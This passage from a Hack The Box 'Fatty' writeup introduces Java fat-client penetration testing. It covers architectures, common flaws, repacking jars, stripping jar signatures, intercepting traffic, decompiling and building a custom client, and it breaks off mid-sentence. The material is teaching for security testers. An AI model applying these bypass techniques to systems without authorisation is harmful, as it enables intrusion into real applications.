Client<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#ready-for-takeof\">3.7 \u2013 Ready for Take of<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#off-by-one\">3.8 \u2013 Off by One<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#sql-injection\">3.9 \u2013 The SQL Injection<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#final-punch\">3.10 \u2013 The final Punch<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#escalating-to-root\">4.0 \u2013 Escalating to root<\/a><ul><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#odd-services\">4.1 \u2013 Odd Services<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#strange-tar\">4.2 \u2013 Some Strange Behavior of tar<\/a><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#root-shell\">4.3 \u2013 Obtaining the root Shell<\/a><\/li><\/ul><\/li><li><a href=\"https:\/\/herolab.usd.de\/hack-the-box-fatty\/#conclusions\">5.0 \u2013 Conclusions<\/a><\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:heading -->\n<h2 id=\"description\">1.0 \u2013 Description<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In this writeup I will demonstrate how one can solve the&nbsp;<em>Fatty&nbsp;<\/em>machine, which implements a vulnerable&nbsp;<em>Java fat client<\/em>&nbsp;and the corresponding application server. At the beginning of my career I never even heard the term<em>&nbsp;fat client<\/em>&nbsp;and started with absolutely zero knowledge. Compared to other areas of pentesting,&nbsp;<em>fat client<\/em>&nbsp;pentests feeled quite overwhelming and it was hard to get into it. However, once you understand some basic concepts,&nbsp;<em>fat client<\/em>&nbsp;pentests probably become your favorite kind of tests, since they provide a lot of interesting attack vectors.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With&nbsp;<em>Fatty<\/em>, I tried to implement a vulnerable&nbsp;<em>fat client<\/em>&nbsp;that is not too hard, but still teaches some valuable concepts of fat client penetration tests. To be honest, I\u2019m far from being a great developer and never really programmed graphical user interfaces in&nbsp;<em>Java&nbsp;<\/em>before. Therefore, many parts of the code may look weird to an experienced&nbsp;<em>Java&nbsp;<\/em>developer, but from my experience I can tell you that encountering weird code during a<em>&nbsp;fat client<\/em>&nbsp;assessment is quite common.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this writeup I want not only to demonstrate the actual machine solution, but also provide a short introduction on how to engage&nbsp;<em>fat clients<\/em>. I hope that this document supports other penetration testers to get started with&nbsp;<em>fat clients<\/em>&nbsp;and helps to make these kind of applications more secure. Providing an introduction to&nbsp;<em>Java fat clients<\/em>&nbsp;is of course only a small part of the actual field, since<em>&nbsp;fat clients<\/em>&nbsp;assessments of applications written in e.g.&nbsp;<em>C++<\/em>&nbsp;is a whole different story. However, some of the concepts we will talk about can also be useful for other kinds of&nbsp;<em>fat clients<\/em>&nbsp;and may help you in different situations.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you are already familar with<em>&nbsp;fat client<\/em>&nbsp;testing and want to see the actual machine solution, feel free to skip the next chapter.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"introduction\">2.0 \u2013 A Gentle Introduction to Fat Client Penetration Tests<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>At first, we should specify what we actually mean then talking about a&nbsp;<em>fat client<\/em>. The term&nbsp;<em>fat client<\/em>&nbsp;has several different definitions, from more general to very specific once. For this post, a<em>&nbsp;fat client<\/em>&nbsp;is some kind of executable file (<em>elf<\/em>,&nbsp;<em>exe<\/em>,&nbsp;<em>jar<\/em>, \u2026) that, after its execution, spawns a graphical user interface. There are of course exceptions and also other kinds of applications that could be counted as fat clients, but the definition above is sufficient for this introduction. Furthermore, we will focus on&nbsp;<em>fat clients<\/em>&nbsp;that communicate with a remote server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The actual testing methodologies can strongly diverge depending on the underlying technology of the<em>&nbsp;fat client<\/em>. For&nbsp;<em>Java&nbsp;<\/em>or .<em>NET&nbsp;<\/em>clients, you can use&nbsp;<em>decompilers&nbsp;<\/em>to recover the original code in an almost one to one fashion. Furthermore, it is quite easy to insert modifications or to setup your own client skeleton. On the other hand, for clients written in other languages like&nbsp;<em>C++<\/em>, such a detailed&nbsp;<em>decompilation&nbsp;<\/em>is not possible and you have to apply different techniques to efficiently engage such clients. In this document we will focus on&nbsp;<em>fat clients<\/em>&nbsp;written in&nbsp;<em>Java<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"fat-client-architectures\">2.1 \u2013 Fat Client Architectures<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>While the actual graphical user interface strongly depends on the purpose and design decisions of the&nbsp;<em>fat client<\/em>, the different communication models between a<em>&nbsp;fat client<\/em>&nbsp;and its application server often match one of three different architectures:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Two-Tier Architecture<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a two-tier architecture the<em>&nbsp;fat client<\/em>&nbsp;directly communicates with the service that is responsible for data storage. In most cases, this is some kind of database, but also other technologies like&nbsp;<em>FTP&nbsp;<\/em>or&nbsp;<em>SMB&nbsp;<\/em>servers can be found. A diagram of this architecture could look like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15419,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/01.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/01.png\" alt=\"\" class=\"wp-image-15419\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Such an architecture is very difficult to secure, because the fat client needs direct access to the resource server. In context of databases, this means that the fat client needs a valid database account. Usually, this is realized by one of the following ways:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><strong>Hard Coded Database Account<\/strong>&nbsp;\u2013 In this implementation, the database credentials for a high privileged user account are hard coded inside the&nbsp;<em>fat client<\/em>. On client startup, the hard coded credentials are used to connect to the database and a login prompt is displayed to the actual user. After the user has entered his credentials, the existing database connection is used to validate the credentials of the user and to obtain his role inside the fat client. The graphical user interface of the client is then adopted according to the role that was received from the database server. If one wants again to draw a diagram of this situation, it could look like this:&nbsp;<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:image {\"id\":15421,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/02.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/02.png\" alt=\"\" class=\"wp-image-15421\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>It should be obvious that such an implementation is always insecure. Even the application may provides different user accounts with different roles, all database queries run with the permissions of the same high privileged database account. Attackers can try to extract the database credentials from the client and connect to the database directly, or they can try to manipulate the client in order to execute arbitrary&nbsp;<em>SQL&nbsp;<\/em>queries.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true,\"start\":2} -->\n<ol start=\"2\"><li><strong>Multiple Database Accounts<\/strong>&nbsp;\u2013 This setup is often used in&nbsp;<em>Active Directory<\/em>environments, where&nbsp;<em>AD&nbsp;<\/em>credentials are used to authenticate to the&nbsp;<em>fat client<\/em>. In this case, each<em>&nbsp;fat client<\/em>&nbsp;user does also get access to the database server with his own account and the corresponding set of permissions. A diagram of this situation could look like this:<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:image {\"id\":15423,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/03.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/03.png\" alt=\"\" class=\"wp-image-15423\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Theoretically, this kind of setup can be secure, since users are only allowed to perform actions that are enabled for their corresponding database role. However, securing a database server for privilege escalation attacks can be difficult too and allowing direct database access for each fat client user can still be a risk.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Three-Tier Architecture<\/strong><\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A three-tier architecture is definitely the preferred way and allows to implement&nbsp;<em>fat clients<\/em>&nbsp;more easily. Like the name already suggests, in this kind of architecture you have an additional layer between<em>&nbsp;fat client<\/em>&nbsp;and&nbsp;<em>database<\/em>\/<em>FTP<\/em>\/<em>SMB&nbsp;<\/em>server. This is usually realized by an application server and the corresponding diagram looks like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15425,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/04.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/04.png\" alt=\"\" class=\"wp-image-15425\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>The big advantage of this architecture is, that the application server can handle access control and filtering in front of the storage backend. This helps to prevent a large amount of possible attacks and is also more flexible. Unfortunately, just having an application server in between does not make a<em>&nbsp;fat client<\/em>&nbsp;automatically secure. These servers can still contain vulnerabilities like<em>broken access control<\/em>,<em>&nbsp;SQL injections<\/em>,&nbsp;<em>path traversals<\/em>, \u2026.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"fat-client-vulnerabilities\">2.2 \u2013 Typical Fat Client Vulnerabilities<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned above, the application server in a three-tier architecture can be vulnerable to a lot of different vulnerability classes. However, most of the time all of them are caused by the same simple implementation mistake:&nbsp;<em>A trust relationship between client and server<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When talking about webapplications, most developers today are aware that all input the server receives is fully controlled by the application user. With tools like&nbsp;<em>BurpSuite&nbsp;<\/em>it is easy to intercept and modify&nbsp;<em>HTTP&nbsp;<\/em>requests, which allows a fair amount of possible attacks. Furthermore, by modifying&nbsp;<em>HTTP&nbsp;<\/em>responses it is often possible to enable functionality that is disabled inside the ordinary user interface (e.g. admin related functions).<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For&nbsp;<em>fat clients<\/em>, this awareness of untrusted input is far behind. Since&nbsp;<em>fat clients<\/em>spawn a graphical user interface that is often more complex than a simple webapp and often use proprietary binary protocols for client server communication, it is harder to imagine that input arriving on the server could be tainted. And here starts the story of many fat client vulnerabilities like:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><strong>Broken Access Control<\/strong>&nbsp;\u2013 This is by far the most typical vulnerability inside of&nbsp;<em>fat clients<\/em>. Different user roles get usually displayed a different user interface, where certain functionality is disabled for lower privileged user accounts. But disabling these functionalities inside the client is insufficient to prevent low privileged users from calling them. Once you have control over the client server communication, you can invoke any method you want on the application server. If access control is only enforced on the client side, this usually leads to critical vulnerabilities.<\/li><li><strong>Insufficient Filtering<\/strong>&nbsp;\u2013 Consider a client that allows you to access files on the application server. Often such clients represent electable files as icons that can be opened by double-clicking them. In the underlying implementation, the client probably sends the filename to the server and since this action is induced by clicking an icon, it seems like users are unable to control the filename. But again, once you control the client server communication, you can modify the path manually. This often allows access to the whole file system, by using path traversal attacks.<\/li><li><strong>Debugging Methods<\/strong>&nbsp;\u2013 Many application servers implement some debugging methods. These can only be accessed by a special debugging client, that implements calls for these specific methods. Since the ordinary user client does not even implement these methods, it seems like they are secured. However, once an attacker gets knowledge of these methods and again controls the client server communication, also these methods can be called.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>We could continue the list with&nbsp;<em>SQLi<\/em>,&nbsp;<em>insecure deserialization<\/em>&nbsp;and other vulnerabilities, but I guess the message is clear: Also input generated by a&nbsp;<em>fat client<\/em>&nbsp;cannot be trusted! For this reason, the main goal during a<em>&nbsp;fat client<\/em>assessment is to get control over the communication channel between client and server. This can be more or less difficult. There are basically two different scenarios:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>The fat client communicates with the server using a known protocol like&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML<\/em>. In this case, setting up an interceptor like&nbsp;<em>BurpSuite&nbsp;<\/em>is often sufficient to intercept and modify the traffic between client and server.<\/li><li>The&nbsp;<em>fat client<\/em>&nbsp;uses some unknown protocol with encryption, signing and other stuff. In these situations, intercepting and manipulating network traffic is often not sufficient and you will need to build your own client implementation. Wait, we have to write our own fat client? Yes, kind of, but it sounds harder as it is. By looking at the decompiled client code, you can figure out how the actual&nbsp;<em>fat client<\/em>&nbsp;is setting up the communication channel. This connection setup needs to be implemented by your own&nbsp;<em>Java&nbsp;<\/em>code. We talk about this process in more detail in a later chapter (2.3.5 \u2013&nbsp;<em>Building Your Own Client<\/em>).<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"getting-started\">2.3 \u2013 Getting Started<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For the rest of this chapter we assume that we were given a&nbsp;<em>fat client&nbsp;<\/em>application by our customer. The&nbsp;<em>fat client<\/em>&nbsp;ships as a single&nbsp;<em>.jar<\/em>&nbsp;file and we have to perform a security assessment on it. So how do we start?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"getting-the-client-running\">2.3.1 \u2013 Getting the Client Running<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The most obvious thing you should do when testing a<em>&nbsp;fat client<\/em>&nbsp;is to get the client running. Without knowing what the client is actually doing and how the user interface looks like, the identification of attack vectors can be difficult. Therefore, make sure that the unmodified client is running on your local system. But sometimes this is already your first problem. Security assessments are often performed in dedicated testing environments and while the application server and database may have moved to this new environment, the client was left unpatched and still tries to connect to the production environment. In such situations, you have to modify the provided&nbsp;<em>.jar<\/em>&nbsp;file yourself e.g. to change some values in a certain&nbsp;<em>.properties<\/em>&nbsp;or .<em>xml&nbsp;<\/em>file. Luckily,&nbsp;<em>.jar<\/em>&nbsp;files can be easily unpacked, modified and packed again. All of this can be done by using just the&nbsp;<code>zip<\/code>&nbsp;and&nbsp;<code>unzip<\/code>&nbsp;utilities:pentester@kali$ mkdir outputpentester@kali$ unzip example.jar -d output# make modifications to files in outputpentester@kali$ cd output; zip -r -0 example.jar *; cd -pentester@kali$ mv output\/example.jar .<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<code>-0<\/code>&nbsp;flag can be a pitfall since it is required to generate a working&nbsp;<em>.jar<\/em>&nbsp;file again. However, then following the above instructions, you should be able to patch simple configuration files inside a&nbsp;<em>.jar<\/em>&nbsp;file quite easily.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"defeating-signed-jars\">2.3.2 \u2013 Defeating Signed Jars<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When unpacking, modifying and re-packing a&nbsp;<em>.jar<\/em>&nbsp;file, there is one additional obstacle that might be in place and this is&nbsp;<code>jar-signing<\/code>. Digital signatures are widely used in information security and also&nbsp;<em>.jar<\/em>&nbsp;files are no exception. To provide protection from malicious modifications,&nbsp;<em>.jar<\/em>&nbsp;files can additionally be signed to proof their integrity. If you use the above mentioned approach to modify a&nbsp;<em>.jar<\/em>&nbsp;file that is signed, execution of the re-packed&nbsp;<em>.jar<\/em>&nbsp;file will fail, since the signatures of the modified files will no longer match. If you try to execute a&nbsp;<em>.jar<\/em>&nbsp;file with a broken signature, you should see an error message like this:pentester@kali$ java -jar signed-jar.jar<strong>Exception<\/strong> in thread \"AWT-EventQueue-1\" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:419) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:336) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:304) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:224) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:195) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:257) [...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The details of this error message are of course different for different applications, but the core error message&nbsp;<code>SHA-256 digest error for \u2026<\/code>should be roughly the same. Errors that are related to signing and cryptography look always scary, but for&nbsp;<em>jar-signing<\/em>&nbsp;this is not true and it is very easy to get the&nbsp;<em>.jar<\/em>&nbsp;file running again.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have already seen that a&nbsp;<em>.jar<\/em>&nbsp;file is basically just a&nbsp;<em>zip-archive<\/em>. Therefore, creating and validating signatures of&nbsp;<em>.jar<\/em>&nbsp;files is not done by any magic procedure that is hidden from the end user. Instead, the archive just contains a file that stores a signature for each resource contained in the archive. This file is the well known&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file, that also stores other information about the&nbsp;<em>.jar<\/em>&nbsp;file:Manifest-Version: 1.0Archiver-Version: Plexus ArchiverCreated-By: Apache MavenBuilt-By: rootBuild-Jdk: 1.8.0_212Main-Class: example.ClassName: META-INF\/maven\/org.slf4j\/slf4j-log4j12\/pom.propertiesSHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z\/hdj03XNhHx3C\/pZbEp4Cw=Name: org\/springframework\/jmx\/export\/metadata\/ManagedOperationParameter.classSHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf\/FD9h2AMOntcgw=Name: org\/springframework\/format\/support\/FormattingConversionService.classSHA-256-Digest: Q1Wy5C\/kxkONF+15qSsaFrNLrIuOcu3qpON1u0O+FrY=Name: org\/springframework\/context\/ApplicationEventPublisher.classSHA-256-Digest: VuQ0PXRkcCGEBknWpKWaKolUEf2J6gaG0CIJA2n0rhE=[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the digest values are not only plain hashes, but also encrypted with the certificate of the creator, we cannot simply recalculate them for our modified files. Anyway, there is an easier solution. You may already asked yourself how&nbsp;<em>Java&nbsp;<\/em>knows whether a&nbsp;<em>.jar<\/em>&nbsp;file is signed or not? The answer is: It cannot know this! When executing a signed&nbsp;<em>.jar<\/em>, Java will look at the manifest file and if signatures are present, it will try to validate these. However, if no signatures are present, the&nbsp;<em>.jar<\/em>&nbsp;file is assumed to not being signed. Therefore, we can just strip all the signatures to make our&nbsp;<em>.jar<\/em>&nbsp;file working again (okay, you also need to delete the&nbsp;<code>.RSA<\/code>&nbsp;and&nbsp;<code>.SF<\/code>&nbsp;files from the&nbsp;<em>META-INF<\/em>&nbsp;directory, but still it should be doable).<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"intercepting-network-traffic\">2.3.3 \u2013 Intercepting the Network Traffic<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After looking some time on the basic functionality of the client, you should start to intercept some network traffic. If you are lucky, you already see some plaintext&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML&nbsp;<\/em>messages, but most of the time the traffic between client and server will be just a binary stream or some encrypted data.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the case of known protocols like&nbsp;<em>HTTP<\/em>, you should try to get the client to connect to an interceptor like e.g.&nbsp;<em>BurpSuite<\/em>. Then you can start clicking around in the client and see which parameters get send to the server. In most cases, looking at these parameters and injecting custom payloads will be sufficient to identify most vulnerabilities in the application server.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The redirection to your interaceptor can be done in various ways. Some clients support a&nbsp;<em>proxy option<\/em>&nbsp;right away. For others, you can try to setup an entry inside your&nbsp;<code>\/etc\/hosts<\/code>&nbsp;file that points to your local interceptor.&nbsp;<em>Java&nbsp;<\/em>also supports setting up a proxy inside of its global configuration. The biggest problem that you an encounter here is when the client uses TLS and verifies the servers certificate (<em>certificate-pinning<\/em>). In these cases, you have to invest some additional effort to disable the certificate validation inside the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many times&nbsp;<em>fat clients<\/em>&nbsp;use their own proprietary protocol for client server communication. In these cases, setting up an interceptor and modifying the binary messages is not the preferred solution. Instead, you should try your build your own client, which will be discussed soon.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"decompiling-the-client\">2.3.4 \u2013 Decompiling the Client<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One very nice thing about&nbsp;<em>Java&nbsp;<\/em>clients is that you can recover the original source code basically in a one to one relationship. This job is done by decompilers and several different ones are available for free on the internet. If you like to work with&nbsp;<em>IDEs&nbsp;<\/em>and are generally a fan of graphical user interfaces, I can recommend&nbsp;<a href=\"https:\/\/github.com\/Konloch\/bytecode-viewer\" target=\"_blank\" rel=\"noreferrer noopener\">bytecode-viewer<\/a>. However, for myself I use different tools that fit more into my workflow. For decompilation I use the&nbsp;<a href=\"https:\/\/www.benf.org\/other\/cfr\/\" target=\"_blank\" rel=\"noreferrer noopener\">cfr-decompiler<\/a>, which has been proven fast and stable. Once the client is decompiled, I use&nbsp;<a href=\"https:\/\/code.visualstudio.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Visual Studio Code<\/a>&nbsp;and its&nbsp;<em>open folder<\/em>&nbsp;function to step through the decompiled&nbsp;<em>Java&nbsp;<\/em>code. Which tools you choose for decompilation is just a matter of taste and you should try different one to find your perfect match.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depending on the size of your&nbsp;<em>fat client<\/em>, you probably have a huge amount of source code after decompilation. You may feel overwhelmed and do not know where to start. The good news is, that you can skip a lot of stuff that you have decompiled. E.g. you will see folders like&nbsp;<code>org\/apache\/log4j<\/code>. Well, this is standard software and nothing related to the<em>&nbsp;fat client<\/em>&nbsp;you are targeting. The naming conventions for&nbsp;<em>Java&nbsp;<\/em>packages can be very helpful here. E.g. if your client was developed by a company in&nbsp;<em>Hungary<\/em>, it is likely that all their packages start with&nbsp;<code>hu<\/code>. Only look on packages that are really related to your&nbsp;<em>fat client&nbsp;<\/em>and do not waste your time with standard software.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like already mentioned before, the most interesting thing about&nbsp;<em>fat clients<\/em>&nbsp;is to control the communication channel. Therefore, understanding how the client establishes a connection to the server is very important and this is the first thing you should try to understand from the source code . But even then looking only at the&nbsp;<em>fat client&nbsp;<\/em>related packages, the amount of decompiled code can still be huge. To go through it in a structured way is key during a&nbsp;<em>fat client<\/em>assessment and there are generally two approaches to do this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><strong>The Top-Down Approach<\/strong>&nbsp;\u2013 In this approach you search for the&nbsp;<em>Java&nbsp;<\/em>class that implements the&nbsp;<code>main<\/code>&nbsp;method. The manifest of a&nbsp;<em>.jar<\/em>&nbsp;file can often tell you where the&nbsp;<em><code>main<\/code><\/em>&nbsp;method is defined, since it contains a&nbsp;<code>Main-Method<\/code>attribute. Once you have identified the&nbsp;<em>main<\/em>&nbsp;method, you just try to understand what the client is doing on startup and try to find your way down to the connection related classes. This approach is suitable for clients with a relatively small codebase. If the client is too big, you might get lost trailing down the paths of all the different classes.<\/li><li><strong>The Bottom-Up Approach<\/strong>&nbsp;\u2013 In this approach you start by searching for the connection specific classes. This can be done by looking for specific keywords like&nbsp;<em>connect<\/em>,&nbsp;<em>session<\/em>&nbsp;or things like the server name, port and so on. Usually you find the classes you are searching for rather quickly and can then start to understand how they are used by the client. This approach works great for clients with a rich codebase, since you start directly from the point you are interested in. However, it is more complicated to understand the relationships between different classes.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>After you spent enough time on the source code of the client, you should be able to answer the following questions:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Which classes and functions are used to establish the connection to the remote server?<\/li><li>What is the resulting object of a successful connection?<\/li><li>How is the resulting connection object used to invoke methods on the remote server?<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you feel confident to answer these questions or you are able to explain why they do not apply to your current<em>&nbsp;fat client<\/em>, you are ready to start building your own client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"building-own-client\">2.3.5 \u2013 Building a own Client<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Building a own&nbsp;<em>Java&nbsp;<\/em>client sounds quite scary and before we start I want to clarify what do we actually mean by this.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;<em>Java&nbsp;<\/em>fat client is nothing else than an composition of&nbsp;<em>Java classes&nbsp;<\/em>and&nbsp;<em>functions<\/em>&nbsp;that are bundled into one or more&nbsp;<em>.jar<\/em>&nbsp;files. There are certain functions that are responsible for spawning the graphical user interface, there are certain functions responsible to access local resources and there are certain functions that are responsible for communicating with the remote server. Instead of writing a&nbsp;<em>Java&nbsp;<\/em>client fully on our own, we simply utilize the classes that are already present. By importing the code of the&nbsp;<em>fat client<\/em>, we can access all the methods and classes that are defined inside of it and simply imitate the startup code of the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned before, we are mostly interested in controlling the communication channel between client and server. When starting the&nbsp;<em>fat client<\/em>normally, it invokes its contained functions in a particular order. E.g. first of all functions are called to load local configuration files. Then the graphical user interface is spawned and finally a connection attempt to the server is made. As pentesters, we are not interested in most of this stuff. We do not require a graphical user interface, but just want to setup the connection to the remote server. Therefore, we have to reorder and to reduce the&nbsp;<em>fat client<\/em>&nbsp;code to the function calls that are required to setup a working connection.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Building an own client is probably the most fun step about&nbsp;<em>fat client&nbsp;<\/em>assessments and it is usually the door opener. Often you will spend 80% of your time in understanding the connection model and how to build your own client. This can be super frustrating, since you see no real progress over a long amount of time. However, once your own client is working, the actual identification and exploitation of vulnerabilities goes rather quickly. The main two benefits of having a own working client are:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>You do not have to understand \/ extract \/ modify the underlying transfer protocol between client and server. Often&nbsp;<em>fat client<\/em>&nbsp;vendors develop their own binary protocols, that may also utilize encryption and signing. By building your own client, you simply invoke functions on the corresponding classes that are shipped by the&nbsp;<em>fat client<\/em>. You do not have to care about the low level implementation details, but instead invoke high level methods to get the job done.<\/li><li>By building your own client, you circumvent all client side protection mechanisms. Like already said, many fat clients implement access control only on the client side by disabling corresponding functionalities inside the graphical user interface. In your own client you can skip all the GUI related stuff and just invoke the methods directly, that are normally launched by a click in the GUI. This gives you much more freedom and also a totally differed view on the clients functionalities.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>In this short introduction, I do not want to show you the full process of writing your own client. Later when discussing&nbsp;<em>Fatty<\/em>, you will see a practical example that goes into more detail on this. Instead I want to show you how you can use&nbsp;<em>Eclipse IDE<\/em>&nbsp;to access the classes and functions that are defined in a&nbsp;<em>.jar<\/em>&nbsp;file. In general, the approach for building your own client is not&nbsp;<em>IDE<\/em>&nbsp;dependent. You could also do it from scratch by just using your command line. However, I strongly recommend to use an&nbsp;<em>IDE<\/em>, since it makes the process much easier.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As an example, we assume that we have determined the class&nbsp;<code>htb.fatty.client.connection.Connection<\/code>&nbsp;to be responsible for the connection setup to the remote server. We want to call functions from this class in our own code, but by simply using an import statement in 